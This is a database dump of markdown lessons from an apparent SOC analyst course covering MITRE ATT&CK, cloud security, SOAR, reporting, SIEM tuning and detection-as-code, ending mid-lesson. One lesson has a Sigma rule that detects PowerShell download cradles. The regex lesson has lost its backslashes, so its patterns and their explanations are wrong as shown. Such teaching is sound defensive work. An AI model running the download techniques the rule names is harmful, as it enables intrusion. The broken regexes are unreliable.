(631, 307, '## Module 30 Review\nThreat Hunting pushes the security posture forward.\n*   It finds what the SIEM missed.\n*   It assumes breach.\n*   It feeds new rules back into detection.\n\nNext: The map of the attacker\'s mind (MITRE ATT&CK).', 'markdown', 15, '2025-12-26 23:08:10', '2025-12-29 14:20:29'),
(632, 311, '## What is MITRE ATT&CK?\n\n**MITRE ATT&CK** (Adversarial Tactics, Techniques, and Common Knowledge) is the periodic table of hacking. It is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.\n\n### Why was it created?\nBefore ATT&CK, we described threats vaguely: \"The malware infects the computer.\"\nATT&CK forces us to be specific: \"The malware achieves **Persistence** [TA0003] using **Registry Run Keys** [T1547.001].\"\n\n### The Structure\nIt is a Matrix (Grid).\n1.  **Tactics (Columns)**: The goal. (Why are they doing this? e.g., \"To steal passwords\").\n2.  **Techniques (Cells)**: The method. (How are they doing this? e.g., \"OS Credential Dumping\").\n3.  **Procedures (Details)**: The specific implementation. (e.g., \"Using Mimikatz.exe\").\n    *   This gives us the acronym **TTPs**.\n\n### Why Analysts Need It\n1.  **Standardized Language**: A distinct common language. \"T1059.001\" means the same thing to an analyst in Japan as it does to one in the USA.\n2.  **Mapping Defenses**: You can map your EDR coverage to the matrix. \"We cover 90% of Execution techniques, but only 10% of Exfiltration techniques. We need to buy a DLP tool.\"\n3.  **Threat Intelligence**: Reports say \"Group X uses T1053\". You can instantly look up T1053 (Scheduled Task) and see if you can detect it.', 'markdown', 15, '2025-12-26 23:09:24', '2025-12-29 15:11:15'),
(633, 312, '## Tactics: The \"Why\" (The Top Row)\n\nTactics represent the **Adversary\'s Goals**. There are 14 Tactics in the Enterprise Matrix. You should memorize the flow of an attack.\n\n1.  **Reconnaissance**: Gathering info (Scanning, LinkedIn research).\n2.  **Resource Development**: Buying servers, stealing accounts.\n3.  **Initial Access**: Getting in (Phishing, Exploit).\n4.  **Execution**: Running code (`calc.exe`).\n5.  **Persistence**: Staying in (Reboot survival).\n6.  **Privilege Escalation**: Getting Root/Admin.\n7.  **Defense Evasion**: Hiding (Deleting logs, turning off AV).\n8.  **Credential Access**: Stealing passwords.\n9.  **Discovery**: Looking around (\"Where am I?\").\n10. **Lateral Movement**: Jumping to other computers.\n11. **Collection**: Gathering data needed.\n12. **Command and Control (C2)**: Talking to the boss.\n13. **Exfiltration**: Stealing the data (Sending it out).\n14. **Impact**: Destroying data (Wiping, Encrypting).\n\n**Note**: Attackers don\'t always follow this order linearly, but it is the general lifecycle.', 'markdown', 15, '2025-12-26 23:09:24', '2025-12-29 15:11:15'),
(634, 313, '## Techniques: The \"How\" (The Cells)\n\nUnder each Tactic, there are many Techniques. A Technique is a specific way to achieve the goal.\n\n### Sub-Techniques\nIn 2020, MITRE added Sub-Techniques (T1xxx.001) because the matrix was getting too crowded.\n*   **Technique**: **Brute Force (T1110)**.\n    *   **Sub-Technique**: .001 Password Guessing.\n    *   **Sub-Technique**: .002 Password Cracking.\n    *   **Sub-Technique**: .003 Password Spraying.\n    *   **Sub-Technique**: .004 Credential Stuffing.\n\n### Example: Phishing (T1566)\n*   **Tactic**: Initial Access.\n*   **Technique**: Phishing.\n*   **Sub-Techniques**:\n    *   Spearphishing Attachment (Sending a doc).\n    *   Spearphishing Link (Sending a URL).\n    *   Spearphishing via Service (LinkedIn/WhatsApp message).\n\n### Using the Knowledge Base\nWhen you click a Technique on the MITRE website, it tells you:\n1.  **Description**: How it works.\n2.  **Procedure Examples**: Which hacker groups have used this? (e.g., \"APT28 used this in 2016\").\n3.  **Mitigations**: How to stop it (Disable RDP).\n4.  **Detection**: How to find it (Event ID 4624).\n*This is basically a cheat sheet for your job.*', 'markdown', 15, '2025-12-26 23:09:24', '2025-12-29 15:11:15'),
(635, 314, '## Navigating the Matrix\n\nYou will use the **MITRE ATT&CK Navigator**, a web-based tool to color-code the matrix.\n\n### Use Case 1: Threat Profiling\n*   Select \"APT29\" (The SolarWinds hackers).\n*   The Navigator highlights all techniques used by APT29 in Red.\n*   Now you know exactly what to look for to find them.\n\n### Use Case 2: Defense Coverage \"Heatmap\"\n*   Color Green: Techniques we can **Prevent** (Firewall blocks).\n*   Color Yellow: Techniques we can **Detect** (SIEM rules alerts).\n*   Color Red: Techniques we are **Blind** to (No logs).\n*   *Result*: A visual map showing your boss where to spend budget. \"Look, we are all Red in the \'Cloud\' column. We need cloud security.\"\n\n### Layers\nYou can layer views.\n*   Layer 1: Defenses.\n*   Layer 2: APT29.\n*   **Overlay**: Show where APT29 overlaps with our Red (Blind) spots. **This is your priority list**.', 'markdown', 15, '2025-12-26 23:09:24', '2025-12-29 15:11:15'),
(636, 315, '## Using ATT&CK for Defense\n\nHow do we actually use this in the SOC?\n\n### 1. Alert Enrichment\nWhen an alert fires in the SIEM, tag it with the T-Code.\n*   Bad: \"Alert: PowerShell detected.\"\n*   Good: \"Alert: **T1059.001** PowerShell Execution detected.\"\n*   Why? This allows you to run metrics later. \"We saw 500 T1059 alerts this month.\"\n\n### 2. Gap Analysis\n*   \"We have 50 SIEM rules.\"\n*   Map them to ATT&CK.\n*   \"Oh, wait. 49 of them are for **Malware** (Execution), and 1 is for **Phishing**. We have ZERO rules for **Exfiltration**.\"\n*   Action: Write rules for Exfiltration.\n\n### 3. Adversary Emulation (Red Teaming)\n*   Instead of just \"pentesting\" (finding random bugs), tell the Red Team: \"Emulate **Fin7**.\"\n*   The Red Team will look up Fin7\'s ATT&CK profile and use *only* those techniques.\n*   This tests if your SOC can catch that specific threat actor.\n\n### The Pyramid of Pain Connection\nMITRE ATT&CK focuses on TTPs (The top of the pyramid). If you defend against Techniques (e.g., \"Block all unsigned usage of PowerShell\"), you stop *every* attacker who uses PowerShell, not just one specific script.', 'markdown', 15, '2025-12-26 23:09:24', '2025-12-29 15:11:15'),
(637, 316, '## Module 31 Review\nYou have completed the Core SOC Skills.\n*   You know the workflow (IR).\n*   You know the tools (SIEM, EDR, IDS).\n*   You know the map (ATT&CK).\n\nNext: Cloud Security and Automation (The future of SOC).', 'markdown', 15, '2025-12-26 23:09:24', '2025-12-29 14:20:29'),
(638, 321, '## Cloud Service Models: Who manages what?\n\nTo secure the cloud, you must understand the \"Pizza-as-a-Service\" analogies.\n\n### 1. On-Premises (Traditional IT)\n*   **Concept**: You own everything. The building, the AC, the servers, the cables, the OS, the App.\n*   **Pizza**: You buy flour, cheese, an oven, gas, and make the pizza at home.\n*   **Security**: You are responsible for 100% of the stack.\n\n### 2. IaaS (Infrastructure as a Service)\n*   **Concept**: You rent the hardware (VMs). Amazon manages the data center and the hypervisor. You manage the OS and up.\n*   **Pizza**: You buy a frozen pizza (App) and bake it in a rented oven (Infrastructure).\n*   **Examples**: AWS EC2, Azure VM, Google Compute Engine.\n*   **Security**: You must patch Windows/Linux. Amazon secures the physical building.\n\n### 3. PaaS (Platform as a Service)\n*   **Concept**: You just bring your code. The provider manages the Hardware AND the OS.\n*   **Pizza**: You order pizza delivery.\n*   **Examples**: AWS Lambda, Azure SQL Database, Google App Engine, Heroku.\n*   **Security**: You secure your *Code* and *Identity*. You cannot patch the OS (AWS does it).\n\n### 4. SaaS (Software as a Service)\n*   **Concept**: You just use the software.\n*   **Pizza**: You go to a restaurant.\n*   **Examples**: Gmail, Salesforce, Dropbox, Slack.\n*   **Security**: You only manage **Access** (Who can log in?) and **Data** (What files do we upload?).\n\n### Why this matters for the SOC?\nIf you get an alert for a SaaS app (Salesforce), checking the \"CPU usage\" is impossible. You have no server access. You can only check \"Login Logs\".\nIf you get an alert for IaaS (EC2), you *can* check CPU usage and likely have Shell access.', 'markdown', 15, '2025-12-26 23:10:39', '2025-12-29 16:11:17'),
(639, 322, '## The Shared Responsibility Model\n\nThis is the most critical concept in Cloud Security. It answers: **\"If we get hacked, whose fault is it?\"**\n\n### The Line in the Sand\n*   **Cloud Provider (AWS/Azure)**: Responsible for security **OF** the Cloud.\n    *   Physical security (Guards, Fences).\n    *   Power/Cooling.\n    *   Hypervisor vulnerabilities.\n    *   Network cabling.\n*   **Customer (You)**: Responsible for security **IN** the Cloud.\n    *   Your Data.\n    *   Your User Accounts (IAM).\n    *   Your OS Patches (for IaaS).\n    *   Your Firewall Rules (Security Groups).\n\n### The \"S3 Bucket\" Scenario\n*   **Scenario**: A company leaves an S3 bucket (storage folder) \"Public\". Hackers steal 1 million customer records.\n*   **Who is at fault?** The Customer.\n*   **Why?** AWS gave you the tools to make it private. You chose (or forgot) to make it public. AWS secured the hard drive so no one could steal the physical disk, but they cannot stop you from publishing your own data.\n\n### The Variance\nThe line moves based on the service model.\n*   **IaaS**: You do more work (Patching, Antivirus).\n*   **SaaS**: You do less work (Just Identity/Data).\n\n### SOC Implications\nIn the cloud, **Identity is the new Perimeter**.\n*   In On-Prem, we trusted people inside the firewall.\n*   In Cloud, there is no firewall around the API. If an attacker steals an API Key or Admin Password, they *are* the Admin.\n*   Therefore, **MFA (Multi-Factor Authentication)** is the single most important control in the cloud.', 'markdown', 15, '2025-12-26 23:10:39', '2025-12-29 16:11:17'),
(640, 323, '## AWS Security Fundamentals\n\nSince AWS is the biggest player, let\'s look at its core security services. (Azure/GCP have equivalents).\n\n### 1. IAM (Identity and Access Management)\nThe gatekeeper.\n*   **Users**: People (Bob).\n*   **Roles**: Hats that people/machines wear.\n    *   *Best Practice*: Don\'t give an EC2 instance a password. Give it a **Role** allowing access to S3.\n*   **Policies**: JSON documents defining rules.\n    *   `Effect: Allow`, `Action: s3:GetObject`, `Resource: my-bucket/*`.\n*   **Principle of Least Privilege**: Give only the permissions needed. Nothing more.\n\n### 2. CloudTrail (The Black Box)\n*   **What**: Logs EVERY API call made in the account.\n*   **Example**: \"User \'Alice\' called \'TerminateInstance\' on server i-12345 at 2 PM from IP 1.2.3.4\".\n*   **SOC Use**: This is your primary log source for investigation.\n\n### 3. GuardDuty (The IDS)\n*   **What**: Threat Detection service.\n*   **How**: Analyzes CloudTrail, VPC Flow Logs (Network), and DNS logs using ML.\n*   **Alerts**: \"EC2 instance is mining Bitcoin\", \"API Key used from Tor Node\".\n\n### 4. Security Groups (The Firewall)\n*   **What**: Stateful firewall for EC2 instances.\n*   **Rules**: \"Allow Port 80 from Anywhere\". \"Allow Port 22 from Office IP only\".\n*   **Common Mistake**: `0.0.0.0/0` on Port 22 (SSH Open to the world = Hacked in 5 minutes).\n\n### 5. VPC (Virtual Private Cloud)\n*   Your isolated network slice of the cloud.\n*   **Public Subnet**: Can talk to Internet.\n*   **Private Subnet**: Only talks internally (Database).\n*   **NACL**: Stateless firewall at the subnet level.', 'markdown', 15, '2025-12-26 23:10:39', '2025-12-29 16:11:17'),
(641, 324, '## Azure Security Fundamentals\n\nMicrosoft Azure is massive in the corporate world. It is tightly integrated with Active Directory.\n\n### 1. Entra ID (Formerly Azure AD)\nThis is NOT just Active Directory in the cloud. It is a completely different identity system using OIDC/SAML protocols.\n*   **Conditional Access**: \"If user is Admin AND location is China -> Block.\"\n*   **PIM (Privileged Identity Management)**: \"Just-in-Time\" admin access. You aren\'t Admin 24/7. You request admin access for 1 hour to fix a server, then it expires.\n\n### 2. Azure Sentinel (The SIEM)\nCloud-native SIEM. (Covered in Module 22).\n\n### 3. Defender for Cloud (ASC)\n*   **CSPM (Cloud Security Posture Management)**: Scans your account for bad configs.\n    *   \"Hey, you have an SQL Database with no encryption.\"\n    *   \"Hey, you have `0.0.0.0` on your VM.\"\n*   **Secure Score**: Gamifies security. \"Your score is 45%. Turn on MFA to get +10 points.\"\n\n### 4. NSG (Network Security Group)\nThe equivalent of AWS Security Groups. Content firewall rules.\n\n### 5. Log Analytics Workspace\nThe central bucket where all logs (VMs, Firewalls, Entra ID) are dumped for querying (using KQL).', 'markdown', 15, '2025-12-26 23:10:39', '2025-12-29 16:11:17'),
(642, 325, '## Cloud Misconfigurations\n\nAttacking the cloud is rarely about \"Zero Day Exploits\". It is about finding **Misconfigurations**.\nAccording to Gartner, 99% of cloud breaches are the customer\'s fault.\n\n### Top Misconfigurations\n1.  **Public Storage Buckets**: S3 buckets set to \"Public Read\".\n2.  **Over-Permissive IAM**: Giving a user `AdministratorAccess` instead of just `S3ReadOnly`.\n3.  **Open Security Groups**: Allowing SSH (Port 22) from `0.0.0.0/0` (The whole internet).\n4.  **Disabled Logging**: Turning off CloudTrail. (Now you have no evidence).\n5.  **Exposed Keys**: Hardcoding AWS Access Keys in GitHub code.\n\n### CSPM (Cloud Security Posture Management)\nTools like **Wiz**, **Prisma Cloud**, or **AWS Security Hub** that scan for these mistakes automatically.', 'markdown', 15, '2025-12-26 23:10:39', '2025-12-29 14:21:21'),
(643, 326, '## Module 32 Review\nCloud Security is about Identity and Configuration.\n*   **IaaS/PaaS/SaaS** dictates what you own.\n*   **Shared Responsibility**: You verify the lock; Provider verifies the door.\n*   **Misconfigurations** are the #1 enemy.\n\nNext: Automating the boring stuff (SOAR).', 'markdown', 15, '2025-12-26 23:10:39', '2025-12-29 14:21:21'),
(644, 331, '## Why Automate Security?\n\nThe SOC is drowning.\n*   **Alert Volume**: 10,000 alerts/day.\n*   **Staff**: 5 Analysts.\n*   **Math**: Impossible.\n\n### The Solution: SOAR (Security Orchestration, Automation, and Response)\nSOAR tools replace manual, repetitive clicks with code.\n\n### Benefits\n1.  **Speed**: A human takes 20 minutes to block an IP on 10 firewalls. A script takes 1 second.\n2.  **Consistency**: Humans make typos. Scripts do exactly what they are told.\n3.  **Morale**: No analyst wants to spend 8 hours resetting passwords. Automate the boring stuff so analysts can hunt.\n\n### The \"O\" in Orchestration\nConnecting different tools.\n*   \"Take the IP from Splunk.\"\n*   \"Check it in VirusTotal.\"\n*   \"Send a Slack message.\"\n*   \"Add to Palo Alto firewall.\"\nThese tools don\'t talk to each other natively. SOAR is the glue (API Connector).\n\n### Risks of Automation\n**Automating a bad process just breaks things faster.**\n*   *Bad Rule*: \"Block any IP that fails login 5 times.\"\n*   *Scenario*: CEO forgets password.\n*   *Automation*: Blocks the entire office NAT IP.\n*   *Result*: Fireable offense.\n*   *Fix*: Always have a \"Human in the Loop\" for destructive actions until you are 100% sure.', 'markdown', 15, '2025-12-26 23:11:57', '2025-12-29 16:11:17'),
(645, 332, '## SOAR Platforms Overview\n\n### 1. Palo Alto XSOAR (Demisto)\nThe market leader.\n*   Uses a drag-and-drop playbook editor.\n*   Thousands of integrations.\n*   \"War Room\" feature where chat and commands are mixed.\n\n### 2. Splunk SOAR (Phantom)\n*   Tightly integrated with Splunk.\n*   Python-centric.\n\n### 3. Tines\n*   The modern, lightweight challenger.\n*   No-code. Looks like a flowchart. Very popular because it is easy to learn.\n\n### 4. Microsoft Logic Apps / Sentinel\n*   If you use Sentinel, you create \"Playbooks\" using Logic Apps.\n*   Very cheap and powerful for Azure environments.\n\n### The Workflow of a Playbook\n1.  **Trigger**: New Alert from SIEM.\n2.  **Enrichment**:\n    *   Query threat intel (VirusTotal).\n    *   Query LDAP (Get user\'s manager).\n3.  **Decision (Condition)**:\n    *   Is it Malicious? (VirusTotal > 5/70).\n4.  **Action**:\n    *   If Yes -> Isolate Host.\n    *   If No -> Close Ticket as False Positive.', 'markdown', 15, '2025-12-26 23:11:57', '2025-12-29 16:11:17'),
(646, 333, '## Playbook Design\n\nA **Playbook** is the coded logic of a Standard Operating Procedure (SOP).\n\n### Common Logic Blocks\n1.  **Trigger**: New Phishing Alert.\n2.  **Action**: Extract URL.\n3.  **Enrichment**: Check URL reputation (VirusTotal).\n4.  **Decision (Software)**:\n    *   If VT Score > 5: **BLOCK** and Close Ticket.\n    *   If VT Score < 5: Ask Analyst to review.\n\n### Human-in-the-Loop\nYou don\'t automate *everything*. \nCritical decisions (e.g., \"Shut down the CEO\'s laptop\") should prompt a human for \"Yes/No\" approval via Slack/Email.', 'markdown', 15, '2025-12-26 23:11:57', '2025-12-29 14:21:21'),
(647, 334, '## Common Automation Use Cases\n\nWhere should you start automating?\n\n### 1. Phishing Triage (The #1 Time sink)\n*   **Manual**: Analyst opens email, extracts URL, checks URLScan.io, checks sender IP... (15 mins).\n*   **Automated**: User forwards email to `phish@company.com`. SOAR extracts artifacts, scans them, and only alerts the analyst if it finds a malicious link. (0 mins human time for clean emails).\n\n### 2. Malware Containment\n*   **Trigger**: EDR detects Ransomware.\n*   **Action**: Automatically isolate the host via API call to EDR.\n*   **Why**: Speed is critical. If you wait 20 minutes for a human to see the ticket, the whole network is encrypted.\n\n### 3. User Onboarding/Offboarding\n*   **Trigger**: HR system says \"Bob is fired\".\n*   **Action**: Disable Active Directory account, revoke VPN, wipe mobile device.\n\n### 4. Threat Intel Management\n*   **Trigger**: New IOC list from CISA.\n*   **Action**: Push IPs to firewall blocklist automatically.', 'markdown', 15, '2025-12-26 23:11:57', '2025-12-29 16:11:17'),
(648, 335, '## Python for Security Automation\n\nYou don\'t need to be a Developer, but you must know how to Script. **Python** is the language of Security.\n\n### Why Python?\n*   **Libraries**: `requests` (HTTP), `pandas` (Data), `boto3` (AWS).\n*   **Readability**: Easy to read code.\n*   **APIs**: Almost every security tool has a REST API, and Python is great at talking to APIs.\n\n### Key Concepts for SOC\n1.  **JSON Parsing**: Every API returns JSON. You need to know how to dig into dictionaries within lists. `data[\'alerts\'][0][\'source_ip\']`.\n2.  **Requests**: `response = requests.get(url, headers=api_key)`.\n3.  **Regex**: Extracting IPs from text blobs.\n\n### Example Script Idea\n*   Input: `suspicious_ips.txt`.\n*   Loop: For each IP...\n*   Action: Check AbuseIPDB API.\n*   Logic: If confidence > 90...\n*   Output: Write to `firewall_blocklist.csv`.\n\n**Lab Tip**: In this module\'s lab, you will write a simple script to parse a log file. Do not fear the code; it is just logic written in text.', 'markdown', 15, '2025-12-26 23:11:57', '2025-12-29 16:11:18'),
(649, 336, '## Module 33 Review\nAutomation is a force multiplier.\n*   **SOAR**: The platform for automation.\n*   **Playbooks**: The logic charts.\n*   **Outcome**: Faster response, happier analysts.\n\nNext: The final skill - Communication (Reporting).', 'markdown', 15, '2025-12-26 23:11:57', '2025-12-29 14:21:21'),
(650, 341, '## Why Documentation Matters\n\nIf you didn\'t document it, it didn\'t happen.\nIn a legal case, your notes are evidence.\n\n### Who reads your report?\n1.  **Other Analysts**: \"Has this happened before?\"\n2.  **Your Boss**: \"Is the team busy? Do we need more budget?\"\n3.  **The Auditors**: \"Did you follow the process?\"\n4.  **The Lawyers**: \"Did we exercise due diligence?\"\n\n### Types of Documentation\n*   **Ticket Notes**: Rough, real-time notes inside the case.\n*   **Incident Reports**: Formal summary after the fact.\n*   **Runbooks/SOPs**: Instructions on *how* to do things.\n*   **Change Logs**: Records of system modifications.\n\n### The Bus Factor\nIf you are the only one who knows how the firewall works, and you get hit by a bus (or win the lottery), the company fails. Documentation increases the \"Bus Factor\".', 'markdown', 15, '2025-12-26 23:13:12', '2025-12-29 16:11:18'),
(651, 342, '## Incident Timelines\n\nThe most critical part of an Incident Report.\n\n### Precision is Key\n*   **Bad**: \"The hacker got in around noon.\"\n*   **Good**: \"12:01:45 PM UTC - Attacker IP 1.2.3.4 successfully authenticated.\"\n\n### UTC vs Local Time\n**ALWAYS USE UTC**.\n*   Attacker is in Russia (+3).\n*   Server is in AWS (+0).\n*   Analyst is in New York (-5).\n*   Management is in California (-8).\nUsing local time creates a disaster. Standardize on UTC.', 'markdown', 15, '2025-12-26 23:13:12', '2025-12-29 14:21:21'),
(652, 343, '## Writing Effective Reports\n\n### Know Your Audience\n1.  **Technical Audience (CTO, Engineers)**:\n    *   Wants: IP addresses, Hashes, root cause, exact commands used.\n    *   Tone: Precise, technical.\n2.  **Executive Audience (CEO, Board)**:\n    *   Wants: Risk level, Financial impact, \"Is it fixed?\", \"How do we prevent it?\"\n    *   Tone: High-level, money-focused. **No jargon**.\n    *   *Bad*: \"The APT used a Heap Spray exploit.\"\n    *   *Good*: \"Sophisticated attackers compromised a web server.\"\n\n### The 5 W\'s\n*   **Who** (Attacker/Victim)?\n*   **What** (Happened)?\n*   **When** (Timeline)?\n*   **Where** (Systems)?\n*   **Why** (Motive)?', 'markdown', 15, '2025-12-26 23:13:12', '2025-12-29 14:21:21'),
(653, 344, '## Effective Report Writing: The Executive Summary\n\nThe most important part of any report is the first page. Executives will **only** read the first page.\n\n### The BLUF (Bottom Line Up Front)\nStart with the conclusion.\n*   **Bad**: \"On Monday we saw a log. Then we looked at it. It was weird...\"\n*   **Good**: \"We prevented a Ransomware attack on the Finance Server. No data was lost. 1 laptop is currently being reimaged.\"\n\n### Key Elements of Exec Summary\n1.  **What happened?** (High level).\n2.  **What was the impact?** (Data lost? Money lost? Downtime?).\n3.  **What did we do?** (Fixed it?).\n4.  **What is the risk now?** (Safe? Controlled?).\n5.  **What do we need?** (Approval to buy x?).\n\n### Language\nAvoid jargon.\n*   *No*: \"The APT initiated a C2 beacon via DNS tunneling.\"\n*   *Yes*: \"The attacker established a hidden connection to control our server.\"\nSpeak in \"Business Risk\", not \"Technobabble\".', 'markdown', 15, '2025-12-26 23:13:12', '2025-12-29 16:11:18'),
(654, 345, '## Metrics and KPIs\n\nHow do we measure the SOC\'s performance?\n\n### MTTD (Mean Time To Detect)\n*   How long does the attacker stay hidden?\n*   *Goal*: Minimize this. (World average is ~20 days. Goal is <1 hour).\n\n### MTTR (Mean Time To Respond/Remediate)\n*   Once detected, how fast do we fix it?\n*   *Goal*: Minimize this.\n\n### False Positive Rate\n*   Are we burning out analysts with bad alerts?\n\n### Dwell Time\n*   Total time the adversary had access.\n\nGood metrics drive budget. \"Our MTTD dropped 50% since we bought Tool X.\"', 'markdown', 15, '2025-12-26 23:13:12', '2025-12-29 14:21:21'),
(655, 346, '## Module 34 Review\nYou have completed the entire Path 3: SOC Analyst Level 1.\n\n### Journey Recap\n1.  **SIEM/EDR/IDS**: The tools.\n2.  **Malware/IR**: The threats and response.\n3.  **Network/Hunting**: The deeper analysis.\n4.  **Cloud/Automation**: The modern environment.\n5.  **Reporting**: The professional output.\n\nCongratulations! You are now ready for the Path 3 Certification Exam.', 'markdown', 15, '2025-12-26 23:13:12', '2025-12-29 14:21:21'),
(656, 361, '## SIEM Architecture Deep Dive\n\nWelcome to the big leagues. In Path 3, we treated the SIEM as a black box that just \"works\". In Advanced SOC roles, you need to know *how* it works, because you will be the one fixing it when it breaks.\n\n### The Pipeline of Data\nA typical Enterprise SIEM (like Splunk or ELK) has a distributed architecture.\n\n1.  **Generation**: The endpoint (Windows) or device (Firewall) creates the log.\n2.  **Collection (The Edge)**:\n    *   **Universal Forwarder (Splunk) / Beats (Elastic)**: Small agents on the endpoint.\n    *   **Syslog Server**: A Linux box acting as a funnel for network devices.\n    *   *Bottleneck Risk*: If the Syslog server disk fills up, you lose firewall logs instantly.\n3.  **Aggregation (The Middleman)**:\n    *   **Heavy Forwarder (Splunk) / Logstash**: Intermediate servers that parse, filter, and mask data (e.g., removing Credit Card numbers) *before* sending it to the core.\n    *   *Why?* To save bandwidth and CPU on the main indexers.\n4.  **Indexing (The Core)**:\n    *   **Indexers**: The heavy lifters. They write the data to disk.\n    *   *Clustering*: Data is replicated across multiple indexers for High Availability.\n5.  **Search Head (The User Interface)**:\n    *   This is what you log into. It doesn\'t store data. It distributes your query to the Indexers, merges the results, and shows you the graph.\n\n### Hot, Warm, Cold Buckets\nStorage is expensive. We can\'t keep petabytes on SSDs.\n*   **Hot Bucket**: Data arriving *right now*. Stored on NVMe SSDs for instant search. (Retained: ~7 days).\n*   **Warm Bucket**: Data from last week. Read-only. Stored on SSDs. (Retained: ~30 days).\n*   **Cold Bucket**: Data from last month. Moved to cheaper HDDs. Slower to search. (Retained: ~1 year).\n*   **Frozen**: Data archived to Amazon S3 Glacier (Tape). Unsearchable unless you \"thaw\" it. (Retained: 5-7 years for legal).\n\n### EPS (Events Per Second) Sizing\n*   **Scenario**: A firewall sends 10,000 logs/second.\n*   **Math**: 10k EPS * 500 bytes/log = 5 MB/second = 432 GB/day.\n*   **Impact**: Can your Indexer write 5 MB/s continuously while *also* answering search queries? If not, you need more hardware.', 'markdown', 20, '2025-12-27 02:16:31', '2025-12-29 16:13:12');
INSERT INTO `lesson_content` (`id`, `task_id`, `content`, `content_type`, `reading_time_minutes`, `created_at`, `updated_at`) VALUES
(657, 362, '## Log Parsing & Normalization: The Regex Dojo\n\nYou cannot be a Senior Analyst without knowing Regex (Regular Expressions). When standard parsers fail, you must write your own.\n\n### The Problem: Unstructured Data\nA developer writes a custom app that logs errors like this:\n`[ERROR] User:bob | IP:10.0.0.1 | Msg:Login Failed`\n\nYour SIEM doesn\'t know what \"User:bob\" means. You need to extract \"bob\" into the `user` field.\n\n### Regex Basics\n*   `d`: Any digit (0-9).\n*   `w`: Any word character (a-z, 0-9, _).\n*   `s`: Whitespace.\n*   `+`: One or more.\n*   `*`: Zero or more.\n*   `?`: Optional.\n*   `( )`: Capture group (The part you want to extract).\n\n### Example Extraction\nLog: `[ERROR] User:bob | IP:10.0.0.1`\n\n**Bad Regex**: `User:.* |`\n*   Why? `.*` is greedy. It matches everything until the end. Precise matching is efficient.\n\n**Good Regex**: `User:(w+)s|sIP:(d{1,3}.d{1,3}.d{1,3}.d{1,3})`\n*   Group 1 (`w+`) matches \"bob\".\n*   Group 2 matches the IP.\n\n### Splunk Field Extraction (props.conf / transforms.conf)\nIn Splunk, you define these in config files.\n*   `[my_custom_app]`\n*   `EXTRACT-user = User:(w+)`\n\n### Field Aliasing (CIM Compliance)\n*   Your app logs it as `client_ip`.\n*   Splunk CIM expects `src`.\n*   **Alias**: `FIELDALIAS-c_ip = client_ip AS src`\n*   Now, a search for `src=10.0.0.1` will find your logs automatically.', 'markdown', 20, '2025-12-27 02:16:31', '2025-12-29 16:13:12'),
(658, 363, '## Advanced Correlation: Risk-Based Alerting (RBA)\n\nTraditional correlation (\"3 failed logins = Alert\") generates too much noise. **RBA** is the modern approach managed by Advanced SOCs.\n\n### The Concept\nInstead of triggering an alert *immediately*, we assign **Risk Points** to an entity (User or System).\n\n*   **Rule 1**: User triggered \"Possible Phishing Link\". (Confidence: Low).\n    *   Current Logic: Alert Analyst -> False Positive 90%.\n    *   RBA Logic: Add **+10 Risk Points** to User. (No Alert).\n*   **Rule 2**: User triggered \"Unusual PowerShell\". (Confidence: Medium).\n    *   RBA Logic: Add **+30 Risk Points** to User.\n*   **Rule 3**: User triggered \"Data Upload to Personal Cloud\". (Confidence: Low).\n    *   RBA Logic: Add **+20 Risk Points** to User.\n\n### The Threshold Alert\n*   **Total Risk Score**: 10 + 30 + 20 = **60**.\n*   **Threshold Rule**: \"Alert when Risk Score > 50\".\n*   **Result**: The analyst gets ONE high-fidelity alert (\"User with Risk 60\") that tells the whole story, instead of 3 low-fidelity alerts.\n\n### Implementing Kill Chains\nAdvanced correlation tracks the sequence.\n`transaction` command in Splunk loops events together by ID.\n*   If `Event A` (Firewall Permit) AND `Event B` (IDS SQL Injection) occur within 10 seconds...\n*   Combine them into a generic \"Exploit Attempt\" meta-event.\n\n### Statistical Anomaly Detection (Standard Deviation)\n*   Calculate the average daily outbound traffic for `Payroll_Server` over 30 days (`avg=50MB`, `stdev=10MB`).\n*   **Rule**: Alert if Today > `avg + (3 * stdev)`.\n*   (If today represents 80MB, that\'s 3 sigmas away—statistically extremely rare).\n*   *Advantage*: You don\'t need to know the *exact* number; the math finds the outlier for you.', 'markdown', 20, '2025-12-27 02:16:31', '2025-12-29 16:13:12'),
(659, 364, '## Query Optimization: Speed is Survival\n\nIn a crisis, waiting 15 minutes for a search to complete is unacceptable. You must write efficient queries.\n\n### 1. The \"Left-to-Right\" Rule (Pipeline Processing)\nMost SIEMs process data in a pipeline. You want to filter the massive dataset **as early as possible** (on the left side).\n\n*   **Bad Splunk Query**:\n    `index=main | regex \"password\" | where status=200`\n    *   Why? The index contains 1 Billion events. It pulls ALL of them, runs a heavy Regex on ALL of them, and *then* checks status.\n*   **Good Splunk Query**:\n    `index=main status=200 \"password\"`\n    *   Why? It effectively uses the \"index\" to only retrieve events that already have `status=200` and the string \"password\". It might retrieve only 100 events.\n\n### 2. Avoid \"Leading Wildcards\"\n*   `index=main user=*bob`\n*   Why is this bad? The database is indexed alphabetically.\n    *   `abc`\n    *   `bob`\n    *   `zack`\n    *   If you search `bob*`, it jumps to \"B\" instantly.\n    *   If you search `*bob`, it must scan `abc`, `bob`, `zack`... literally every single word in the dictionary to see if it ends in \"bob\". It destroys CPU.\n\n### 3. Specify Time Ranges\n*   Never search \"All Time\".\n*   Always narrow down to \"Last 60 minutes\" or \"Specific Date Window\".\n\n### 4. Fast Mode vs. Verbose Mode\n*   **Fast Mode**: Returns only field summary/statistics. (Super fast).\n*   **Verbose Mode**: Returns every raw event text. (Slow).\n*   If you just need a count (`stats count`), use Fast Mode.', 'markdown', 20, '2025-12-27 02:16:31', '2025-12-29 16:13:12'),
(660, 365, '## Building Detection-as-Code (DaC)\n\nThe old way: Click \"Create Rule\" in the GUI. Type stuff. Save.\nThe new way: Rules are logic. Logic is Code.\n\n### Why Code?\n1.  **Version Control (Git)**:\n    *   \"Who changed the Ransomware rule yesterday?\" -> Check Git Commit History.\n    *   \"The new rule broke the SIEM.\" -> `git revert`.\n2.  **Testing (CI/CD)**:\n    *   Before deploying a rule to Production, run it in a pipeline against a test dataset.\n    *   \"Does this rule trigger on this sample `malware.evtx`?\" (Unit Test).\n\n### Sigma: The Standard Format\n**Sigma** is a generic signature format for SIEMs (like Snort is for IDS). It is written in YAML.\n\n```yaml\ntitle: Suspicious PowerShell Download\nstatus: experimental\nlogsource:\n    product: windows\n    service: powershell\ndetection:\n    selection:\n        EventID: 4104\n        ScriptBlockText|contains:\n            - \'Net.WebClient\'\n            - \'DownloadString\'\n    condition: selection\nlevel: high\n```\n\n### The Workflow\n1.  Analyst writes triggers in Sigma (YAML).\n2.  